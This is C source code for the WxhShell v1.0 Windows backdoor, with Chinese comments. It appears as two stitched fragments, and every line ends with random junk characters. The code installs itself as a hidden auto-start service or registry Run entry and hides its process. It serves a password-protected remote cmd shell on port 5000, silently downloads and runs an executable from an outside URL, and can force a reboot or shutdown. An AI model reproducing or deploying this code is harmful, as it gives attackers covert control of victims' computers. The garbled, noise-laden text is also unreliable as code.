    } M71R -B`-  
    break; (HSw%e  
    } ]PVt o\B=  
  // 关机 [tN` :}?  
  case 'd': { bA+[{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V85.DK!  
    if(Boot(SHUTDOWN)) kknhthJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p,s&61]  
    else { |UZOAGiBg  
    closesocket(wsh); |KaR n;BM  
    ExitThread(0); Qi|?d7k0  
    } vTcZ8|3e  
    break; &?}1AQAYg  
    } thQ J(w  
  // 获取shell +/Z0  
  case 's': { 4(sttd_  
    CmdShell(wsh); C,='3^Nc  
    closesocket(wsh); ReqE?CeV  
    ExitThread(0); 8q*";>*  
    break; <|Iyt[s  
  } V Q h/  
  // 退出 ,Z4^'1{D  
  case 'x': { .' IeHh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q %y,;N"ro  
    CloseIt(wsh); rBD2Si=  
    break; QB9A-U <J  
    } a'^0.1  
  // 离开 |P~q/Wff  
  case 'q': { ,N;v~D$Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); h;}ODK(.  
    closesocket(wsh); }(cY|  
    WSACleanup(); .hgH9$\  
    exit(1); 5])8qb/F  
    break; @dl<-  
        } mQnL<0_<f  
  } PuU*vs3  
  } Ir>2sTrm  
z^9E;  
  // 提示信息 \@:j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U~hCn+0  
} pNSst_!>  
  } L3g9b53\  
V:QdQ;c  
  return; ?AT(S  
} A_]D~HH  
$BaK'7=3*  
// shell模块句柄 TL]bY'%  
int CmdShell(SOCKET sock) `_ 0)kdu  
{ @%%bRY  
STARTUPINFO si; W`5a:"Vg  
ZeroMemory(&si,sizeof(si)); oB3q AP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {[N?+ZJD*L  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }eI`Qg  
PROCESS_INFORMATION ProcessInfo; CCn/ udp@  
char cmdline[]="cmd"; lf;~5/%wMG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b<8q 92F  
  return 0; >0 7shNX  
} >waN;&>/  
%/X2 l  
// 自身启动模式 }oV3EIH  
int StartFromService(void) M-vC>u3Y  
{ bbO+%-(X  
typedef struct wyNC|P;j$g  
{ =}"R5  
  DWORD ExitStatus; "W3W:vl!  
  DWORD PebBaseAddress; &6Ns7w6*z  
  DWORD AffinityMask; :K: f^o]s  
  DWORD BasePriority; jB`7T^bU  
  ULONG UniqueProcessId; a&8l[xe1  
  ULONG InheritedFromUniqueProcessId; q'by;g*m  
}   PROCESS_BASIC_INFORMATION; ([1=>Jw"  
V15q01bE#  
PROCNTQSIP NtQueryInformationProcess; # UjEY9"M  
.byc;9M%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [:Xn6)qz  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ` v>/  
eC.w?(RB  
  HANDLE             hProcess; i>WOYI9  
  PROCESS_BASIC_INFORMATION pbi; \N6<BS  
1x8(I&i  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (e 0_RQ  
  if(NULL == hInst ) return 0; jm4)gmC  
sK#H4y+<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); hl*MUD,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >Sh0dFqeT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;r%<2(  
FF8WTuzB+  
  if (!NtQueryInformationProcess) return 0; hJ<:-u+yk}  
R !jhwY$  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _ \_3s  
  if(!hProcess) return 0; f>|9 l  
j`{fB}  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0;  )Kxs@F  
j1W bD7*8  
  CloseHandle(hProcess); >s44  
Io2,% !D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8TUF w@H%  
if(hProcess==NULL) return 0; )_X;9%L7  
4(m/D>6:  
HMODULE hMod; YmZC?x_{M2  
char procName[255]; 1V#0\1sj  
unsigned long cbNeeded; 8rla0d@  
FYxUOO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b8eDD+ulk  
gQu\[e%mVo  
  CloseHandle(hProcess); ?`za-+<r<  
ZDW,7b% U  
if(strstr(procName,"services")) return 1; // 以服务启动 )hePN4edj  
}<E sS  
  return 0; // 注册表启动 [5x+aW%ql  
} /\6}S G;  
Hf;RIl2F  
// 主模块 5T7_[{  
int StartWxhshell(LPSTR lpCmdLine) $:qI&)/  
{ ;|Y2r^c  
  SOCKET wsl; 22l|!B%o  
BOOL val=TRUE; w2.qT+; v  
  int port=0; c`rfKr&z  
  struct sockaddr_in door; niXHK$@5  
}]uB? +c  
  if(wscfg.ws_autoins) Install(); L~'^W/N  
0 =3FO}[u  
port=atoi(lpCmdLine); z?8zFP  
J,CJPUf&  
if(port<=0) port=wscfg.ws_port; /+Wb6{lY  
S~]8K8"sT  
  WSADATA data; n P0Ziu'{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C~3@M<X  
pyu46iE)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   se4w~\/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); F! |TW6)gv  
  door.sin_family = AF_INET; I|Vk.,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); N )b|  
  door.sin_port = htons(port); :_W 0Af09  
gvow\9{|C  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XHU<4l:kl  
closesocket(wsl); R^n* o  
return 1; 8#[%?}tK  
} ~ nLkn#Z  
T2c_vY   
  if(listen(wsl,2) == INVALID_SOCKET) { J"m%q\'  
closesocket(wsl); {s9y@c*15.  
return 1; ]L5Z=.z&  
} AJJ%gxqGq  
  Wxhshell(wsl); >FK)p   
  WSACleanup(); ,Y78Q  
Fm-q=3  
return 0; sDz)_;;%  
r4]hS`X~%  
} mtiO7w"M\7  
ymzPJ??!  
// 以NT服务方式启动 <z~2d  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) HYa$EE2  
{ hlABu)B'1  
DWORD   status = 0; j TB<E=WC  
  DWORD   specificError = 0xfffffff; %fex uy4  
X^?|Sz<^E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7]<F>97  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vV$hGS(f~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p*(U*8Q  
  serviceStatus.dwWin32ExitCode     = 0; nN(D7wk  
  serviceStatus.dwServiceSpecificExitCode = 0; 6!gtve_  
  serviceStatus.dwCheckPoint       = 0; -Z[R S{#+T  
  serviceStatus.dwWaitHint       = 0; x"zjN'|  
Z7m GC`>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .(gT+5[  
  if (hServiceStatusHandle==0) return; EU?&  
B.CH9M  
status = GetLastError(); YUP%K!k  
  if (status!=NO_ERROR) i-Ge *?  
{ (50[,:#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; /e j/&x15  
    serviceStatus.dwCheckPoint       = 0; A*-]J=:E {  
    serviceStatus.dwWaitHint       = 0; ILu0J`;}  
    serviceStatus.dwWin32ExitCode     = status; @8 oDy$j  
    serviceStatus.dwServiceSpecificExitCode = specificError; {GG~E54&B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L*SSv wSL  
    return; vUodp#s  
  } O9Jx%tolF%  
YokZar2a0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _k"&EW{ Ii  
  serviceStatus.dwCheckPoint       = 0; qCxD{-9x{  
  serviceStatus.dwWaitHint       = 0; % RBI\tj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O=!)})YG  
} )Yy#`t  
,_5YaX:<4  
// 处理NT服务事件,比如:启动、停止 ZmYSi$B  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e$FAhwpon  
{ :!Y?j{sGU  
switch(fdwControl) !?us[f=g%  
{ oZ\qT0*eb  
case SERVICE_CONTROL_STOP: kL2Zr  
  serviceStatus.dwWin32ExitCode = 0; F'Y 2f6B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `lV  
  serviceStatus.dwCheckPoint   = 0; 9FIe W[  
  serviceStatus.dwWaitHint     = 0; jU3;jm.)  
  { |4?}W ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c],frhmyd  
  } 67K RM(S  
  return; 9$\;voo  
case SERVICE_CONTROL_PAUSE: BC$;b>IUA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &ttv4BC^r  
  break; ^! v}  
case SERVICE_CONTROL_CONTINUE: 7/U<\(V!g  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; s&QBFyKtJ  
  break; #?b^B~ #  
case SERVICE_CONTROL_INTERROGATE: C&CsI] @g  
  break; |)72E[lL  
}; 7gdU9c/q,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); KWn1%oGJ  
} &xiDG=I#  
6Qzu-  
// 标准应用程序主函数 #pm-nU%|_j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *?R\[59  
{ !=h|&Vta  
ma]F%E+$  
// 获取操作系统版本 ~QEXB*X-g'  
OsIsNt=GetOsVer(); l_j<aCY?|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @7[.> I(  
VM V]TPks>  
  // 从命令行安装 E23 Yk?"  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4W//Oc@e  
XnI ;7J  
  // 下载执行文件 "jQe\  
if(wscfg.ws_downexe) { "<jEI /  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;KZtW  
  WinExec(wscfg.ws_filenam,SW_HIDE); fO|~Oz<S  
} 0@FM^ejA#  
e ka@?`  
if(!OsIsNt) { @BHS5^|  
// 如果时win9x,隐藏进程并且设置为注册表启动 Sfoy8<j  
HideProc(); rM >V=|9,  
StartWxhshell(lpCmdLine); F#}1{$)% /  
} DP6{HR$L  
else J PzQBc5e  
  if(StartFromService()) s eZ<52f2  
  // 以服务方式启动 Wru  Fp  
  StartServiceCtrlDispatcher(DispatchTable); ?m_RU  
else c!u}KVH  
  // 普通方式启动 |C)UZ4A/p  
  StartWxhshell(lpCmdLine); PVkN3J  
PqJ*   
return 0; o"ah\"#el  
} ~ Dp:j*H  
#G , *j  
Pdm6u73  
>K|GLP  
=========================================== j_a~)o-p  
6 XOu~+7  
9M7(_E;)B  
_l{ 5 'm  
 ZV q  
L]}RSE2  
" 2bn@:71`  
">vYEkZ3  
#include <stdio.h> 4wj|  
#include <string.h> Rn~Xu)@e  
#include <windows.h> ME10dr  
#include <winsock2.h> yDkDtO`K  
#include <winsvc.h> aEqI51I  
#include <urlmon.h> n40MP5RxY  
SX=0f^  
#pragma comment (lib, "Ws2_32.lib") <sCq x/L  
#pragma comment (lib, "urlmon.lib") !E:Vn *k;  
,fG_'3wb  
#define MAX_USER   100 // 最大客户端连接数 4bFVyv  
#define BUF_SOCK   200 // sock buffer R5;eR(24G  
#define KEY_BUFF   255 // 输入 buffer LI|HET_  
FPUR0myCU  
#define REBOOT     0   // 重启 L|1zHDxQ  
#define SHUTDOWN   1   // 关机 FqUt uN  
eZod}~J8  
#define DEF_PORT   5000 // 监听端口 Gx a.<E^k  
B{o\RNU  
#define REG_LEN     16   // 注册表键长度 nC!^,c  
#define SVC_LEN     80   // NT服务名长度 \;:@=9`  
"`3 ^M vC  
// 从dll定义API pOI`,i}.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 6p=xgk-q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !4,xQ ^   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b}L,kT  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %FWfiFV|<  
(F '  
// wxhshell配置信息 8~Hs3\Hp  
struct WSCFG { 'kg]|"M  
  int ws_port;         // 监听端口 S}[:;p?F`  
  char ws_passstr[REG_LEN]; // 口令 (DMnwqr  
  int ws_autoins;       // 安装标记, 1=yes 0=no hUhp2ibEs  
  char ws_regname[REG_LEN]; // 注册表键名 AW&s-b%P  
  char ws_svcname[REG_LEN]; // 服务名 l 75{JxZX  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 O-lh\9{'R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OZ14-}Lr5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 U>-#('  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U8$dG)PhA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" zu*G4?]~h  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e, 0I~:  
6N+)LF}P b  
}; F4<2.V)#-  
;q&D,4r]  
// default Wxhshell configuration $F()`L{Tj  
struct WSCFG wscfg={DEF_PORT, 9egaN_K  
    "xuhuanlingzhe", @bCiaBdi  
    1, 0#/ 6P&6  
    "Wxhshell", $z,DcO.vz  
    "Wxhshell", VrE5^\k<a  
            "WxhShell Service", 1LIV/l^}f  
    "Wrsky Windows CmdShell Service", ftH%, /,  
    "Please Input Your Password: ", TIh zMW\/K  
  1, :;WDPRx  
  "http://www.wrsky.com/wxhshell.exe", Eg29|)qsz  
  "Wxhshell.exe" :aqskeT  
    }; EM w(%}8w  
})SdaZ  
// 消息定义模块 X|1YGZJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !K~$ -jlT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yj+b/9My   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sfPN\^k2  
char *msg_ws_ext="\n\rExit."; 71&+dC  
char *msg_ws_end="\n\rQuit."; gG;W:vR}l  
char *msg_ws_boot="\n\rReboot..."; <m:wuNEM  
char *msg_ws_poff="\n\rShutdown..."; M*6@1.n  
char *msg_ws_down="\n\rSave to "; NP'DuzC  
4"(zi5`e  
char *msg_ws_err="\n\rErr!"; OLup`~  
char *msg_ws_ok="\n\rOK!"; "s<l Lgi  
[]3}(8yxGb  
char ExeFile[MAX_PATH]; v!h-h&p O7  
int nUser = 0; y/6LMAI  
HANDLE handles[MAX_USER]; GFa/9Bi  
int OsIsNt; 4^ 6L])y  
KmOa^vY1.T  
SERVICE_STATUS       serviceStatus; xLK0~|_#!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 'R'a/ZR`B7  
j4r,_lH^r  
// 函数声明 -86:PL(I"  
int Install(void); FF!g9>  
int Uninstall(void); qML*Kwg  
int DownloadFile(char *sURL, SOCKET wsh); R,+(JgJ  
int Boot(int flag); Byj~\QMD|  
void HideProc(void); -?1J+}?  
int GetOsVer(void);  iPO S  
int Wxhshell(SOCKET wsl); y+afUJT  
void TalkWithClient(void *cs); /(pChY>  
int CmdShell(SOCKET sock); Ht^2)~e~:  
int StartFromService(void); Py]ci`27  
int StartWxhshell(LPSTR lpCmdLine); +M&S  
Y mjS!H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); r+p jv_R  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ucPMT0k  
&it/@8yH  
// 数据结构和表定义 (+ anTA=  
SERVICE_TABLE_ENTRY DispatchTable[] = :Rj,'uH+h)  
{ {leG~[d  
{wscfg.ws_svcname, NTServiceMain}, &)jZ|Q~  
{NULL, NULL} .{Oq)^!ot  
}; 4H)" d  
_N';`wjDY  
// 自我安装 6|cl`}g_j  
int Install(void) t3g! 5  
{ i4rF~'h@  
  char svExeFile[MAX_PATH]; + qqN  
  HKEY key; #e>MNc 'z  
  strcpy(svExeFile,ExeFile); M?zAkHNS$  
g"? D>}@=  
// 如果是win9x系统,修改注册表设为自启动 |UO;St F  
if(!OsIsNt) { lFY8^#@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yLOLv6g~e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @2*6+w_Ae  
  RegCloseKey(key); tgA |Vwwk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  yE,o~O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r/L]uSN  
  RegCloseKey(key); &:K?-ac  
  return 0; V <pjR@  
    } S,RJ#.:F[t  
  } 9W$)W  
} eJp-s" %  
else { 9'h^59  
!OgoV22  
// 如果是NT以上系统,安装为系统服务 o|q#A3%?  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); S6tH!Z=(g  
if (schSCManager!=0) {o%R~{6  
{ VW`=9T5%@  
  SC_HANDLE schService = CreateService dwMwd@*j  
  ( ~U+'3.Wo  
  schSCManager, 0|;=mYa4M  
  wscfg.ws_svcname, rNyK*Wjt  
  wscfg.ws_svcdisp, K.m[S[cy  
  SERVICE_ALL_ACCESS,  U~t(YT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , cpnwx1q@  
  SERVICE_AUTO_START, ,m]q+7E  
  SERVICE_ERROR_NORMAL, 6|}mTG^  
  svExeFile, #?6RoFgMe  
  NULL, ]!:Y]VYN)\  
  NULL, rtE,SN  
  NULL, h cXqg  
  NULL, IyP].g1"U  
  NULL X&Lt?e,&  
  ); /Ql}jSKi  
  if (schService!=0) zUqDX{I8  
  { rSn7(3e4^  
  CloseServiceHandle(schService); K_n%`5  
  CloseServiceHandle(schSCManager); &_j4q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3k^jR1  
  strcat(svExeFile,wscfg.ws_svcname); m5{SPa,y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { !F)oX7"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;D:T ^4  
  RegCloseKey(key); EdpR| z  
  return 0; 1PSb72h<  
    } >.\E'e5^C  
  } M7 !" t  
  CloseServiceHandle(schSCManager); q|J]  
} \/v$$1p2  
} *Fws]y2t~  
sKO ;p  
return 1; )zo ;r!eP  
} '%N)(S`O7P  
j83 V$ Le  
// 自我卸载 _@2G]JD  
int Uninstall(void) e IA=?k.y  
{ J]B5w{??b  
  HKEY key; N<99K!   
{eUfwPAa3  
if(!OsIsNt) { 6< Z9p@6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e.V){}{V  
  RegDeleteValue(key,wscfg.ws_regname); |e&Kg~~C  
  RegCloseKey(key); aK'r=NU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9MxGyGz$  
  RegDeleteValue(key,wscfg.ws_regname); hgGcUpJy?  
  RegCloseKey(key); mGvP9E"&  
  return 0; vNGvEJ`qn  
  } ( Iew%U  
} W:\VFP f2  
} 7ow1=%Q  
else { +E4 _^  
YSyW '~!b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fZ$2bI=  
if (schSCManager!=0)  E"=$p $k  
{ Sdp1h0E}7=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); M.xEiHz  
  if (schService!=0) <lR8MqjM_  
  { Hr$5B2'  
  if(DeleteService(schService)!=0) { .U_=LV]C  
  CloseServiceHandle(schService); d%bL_I)  
  CloseServiceHandle(schSCManager); tO7{g  
  return 0; T*m21<  
  } p<4':s;*  
  CloseServiceHandle(schService); ~vmY 2h\  
  } ) |vFrR  
  CloseServiceHandle(schSCManager); soF^G21N  
} g 7X>i:  
} ,dBI=D'  
m='OnTeOE  
return 1; l<0V0R(  
} { SV$fl;  
zdCt#=QV?R  
// 从指定url下载文件 Za w+  
int DownloadFile(char *sURL, SOCKET wsh) JK4  @  
{ CR<l"~X  
  HRESULT hr; 2dfA}i>k  
char seps[]= "/"; GcuZPIN%D  
char *token; >nX'RE|F  
char *file; EcU9Tm`h  
char myURL[MAX_PATH]; wal }[F#  
char myFILE[MAX_PATH]; Sgj6tH2M  
q9Q4F  
strcpy(myURL,sURL); Q"O _h  
  token=strtok(myURL,seps); A\`Uu&  
  while(token!=NULL) F <(Y  
  { y+a&swd2(U  
    file=token; B_> Fd&  
  token=strtok(NULL,seps); _wBPn6gg`  
  } ,P^"X5$   
v|6fqG+Q\  
GetCurrentDirectory(MAX_PATH,myFILE); x>cu<,e$d\  
strcat(myFILE, "\\"); VMp6s%m  
strcat(myFILE, file); c{~*\&  
  send(wsh,myFILE,strlen(myFILE),0); *L=CJg  
send(wsh,"...",3,0); v&Kw 3!X#E  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eC?N>wHH  
  if(hr==S_OK) /1*\*<cs  
return 0; _N6GV$Q  
else ":OXs9Yg  
return 1; SPBXI[[-  
=B 9U  
} -UO$$)Q  
o&=m]hKpQl  
// 系统电源模块 6o!"$IH4  
int Boot(int flag) ^IpS 3y  
{ Ne%X:h  
  HANDLE hToken; WVZ\4y  
  TOKEN_PRIVILEGES tkp; n):VuOjm  
AOpfByw  
  if(OsIsNt) { fOfp.`n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); FwyPmtBj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]l`DR4 =  
    tkp.PrivilegeCount = 1; Y3?kj@T`i  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; uJQeZEe  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); HO"(eDW6z  
if(flag==REBOOT) { >|<6s],v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) J{H475GqiT  
  return 0; gb-n~m[y  
} a`}-^;}SW  
else { Rzp-Q5@M Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C4y<+G.`  
  return 0; rie1F,  
} \C#Vh7z"2&  
  } ]BA8[2=m  
  else { '2NeuK-KD  
if(flag==REBOOT) { @Z)&3ss  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) T"O!  
  return 0; *N7\d9y  
} 6`'^$wKs  
else { di"*K*~y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =3FXU{"Qi4  
  return 0; \-^3Pe,  
} dpy,;nqzeN  
} LTxOq|/Cq  
d97wiE/i<  
return 1; *fE5Z;!}  
} [* Lh4K  
IySlu^a  
// win9x进程隐藏模块 =uHTpHR  
void HideProc(void) # aC}\  
{ T6tJwSS4:  
k vb"n}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ak R*|iK#b  
  if ( hKernel != NULL ) W*P/~U=  
  { FK->|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cng 1k  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);  ST{<G  
    FreeLibrary(hKernel); qu?D`29  
  } t JJaIb6Xj  
5z0SjQ  
return; dme_Ivt  
} *h`zV<j  
,$*$w<  
// 获取操作系统版本 'E9\V\bi  
int GetOsVer(void) rKO[;]_*  
{ ^+-i7`|=  
  OSVERSIONINFO winfo; Yt&^ i(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DwoO([&I  
  GetVersionEx(&winfo); AtSEKpKc  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^s^X nQhE  
  return 1; nfc&.(6x<  
  else Jg@PhN<9  
  return 0; ALhu\x>AY  
} HH^eEh4g  
xand%XNv  
// 客户端句柄模块 J5429Soo  
int Wxhshell(SOCKET wsl) }nkX-PG9  
{ )H)HR`  
  SOCKET wsh; }psJ'aiG*  
  struct sockaddr_in client; ^hU7QxW  
  DWORD myID; RK|C*TCnl  
m!g f!  
  while(nUser<MAX_USER) lOql(ZH`w  
{ Y6+nfh_  
  int nSize=sizeof(client); +g(QF   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >xT8[  
  if(wsh==INVALID_SOCKET) return 1; -|g~--@Q  
fF ;-d2mF  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -FwOX~s/'  
if(handles[nUser]==0) t|1?mH9  
  closesocket(wsh); W@ #Y/L:${  
else %;GDg3L[p  
  nUser++; _Y=>^K]9K  
  } ?,]25q   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oTZNW  
JBp^@j{_  
  return 0; /.P*%'g  
} I U/gYFT  
Po% V%~  
// 关闭 socket _L9`bzZj  
void CloseIt(SOCKET wsh) Ue! &Vm  
{ 'RXh E  
closesocket(wsh); i&RPY bT{  
nUser--; K^EW*6vB8O  
ExitThread(0); Ao(Xz$cQfW  
} YHl6M&*@  
OQA}+XO  
// 客户端请求句柄 Fe}Dnv)}Z  
void TalkWithClient(void *cs) .#@*)1A#t  
{ bP(xMw<'j  
}Dm-Ibdg(  
  SOCKET wsh=(SOCKET)cs; aH*)W'N?  
  char pwd[SVC_LEN]; $0 eyp]XC\  
  char cmd[KEY_BUFF]; 3V2 "1Ic  
char chr[1]; (]1n!  
int i,j; >HXT:0  
$o0o5 ^Z-  
  while (nUser < MAX_USER) { M#UW#+*g!  
lo Oh }y+  
if(wscfg.ws_passstr) { J;HkR9<C  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eVS6#R]'m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [?^,,.Dd  
  //ZeroMemory(pwd,KEY_BUFF); V0XQG}  
      i=0; h#a,<B|  
  while(i<SVC_LEN) { Jc95Ki1X  
b 'jZ4{+W  
  // 设置超时 /{6PwlP5  
  fd_set FdRead; P-.>vi^+  
  struct timeval TimeOut; 7' ]n_-fu  
  FD_ZERO(&FdRead); > X<pzD3u  
  FD_SET(wsh,&FdRead); {%*,KB>b  
  TimeOut.tv_sec=8; ?Mtd3F^o?  
  TimeOut.tv_usec=0; OW;]= k/(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (]>= y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); CNwIM6t  
;N#d'E\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E9i M-Lw  
  pwd=chr[0]; 1YL6:5n  
  if(chr[0]==0xd || chr[0]==0xa) { 8c3Qd  
  pwd=0; q#$Al  
  break; A!\ g!*  
  } gs7h`5[es  
  i++; cxn3e,d`  
    } Q/xT>cUd  
/_rEI,[k  
  // 如果是非法用户,关闭 socket ]c4?-Vq%u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Dk[m)]w\  
} 9!&fak _  
V i V3Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dI};l  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V.?N29CA|  
|uf{:U)  
while(1) { xM"k qRZ  
pUi|&F K">  
  ZeroMemory(cmd,KEY_BUFF); 2dg+R)%  
'B>fRN  
      // 自动支持客户端 telnet标准   AwN7/M~'  
  j=0; I&%{%*y  
  while(j<KEY_BUFF) { V C$,Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~gg(i"V  
  cmd[j]=chr[0]; o`,|{K$H  
  if(chr[0]==0xa || chr[0]==0xd) { ra2sYH1wr  
  cmd[j]=0; l+`f\},  
  break; X:PB }  
  } Y">m g=B  
  j++; 1j"_@?H[  
    } &3~lZa;D  
CobMagPhr  
  // 下载文件 Xf o3fW)s  
  if(strstr(cmd,"http://")) { uyZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); P@lDhzd  
  if(DownloadFile(cmd,wsh)) u_ou,RF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); S{wR Z|8U  
  else #SyF-QZ[1  
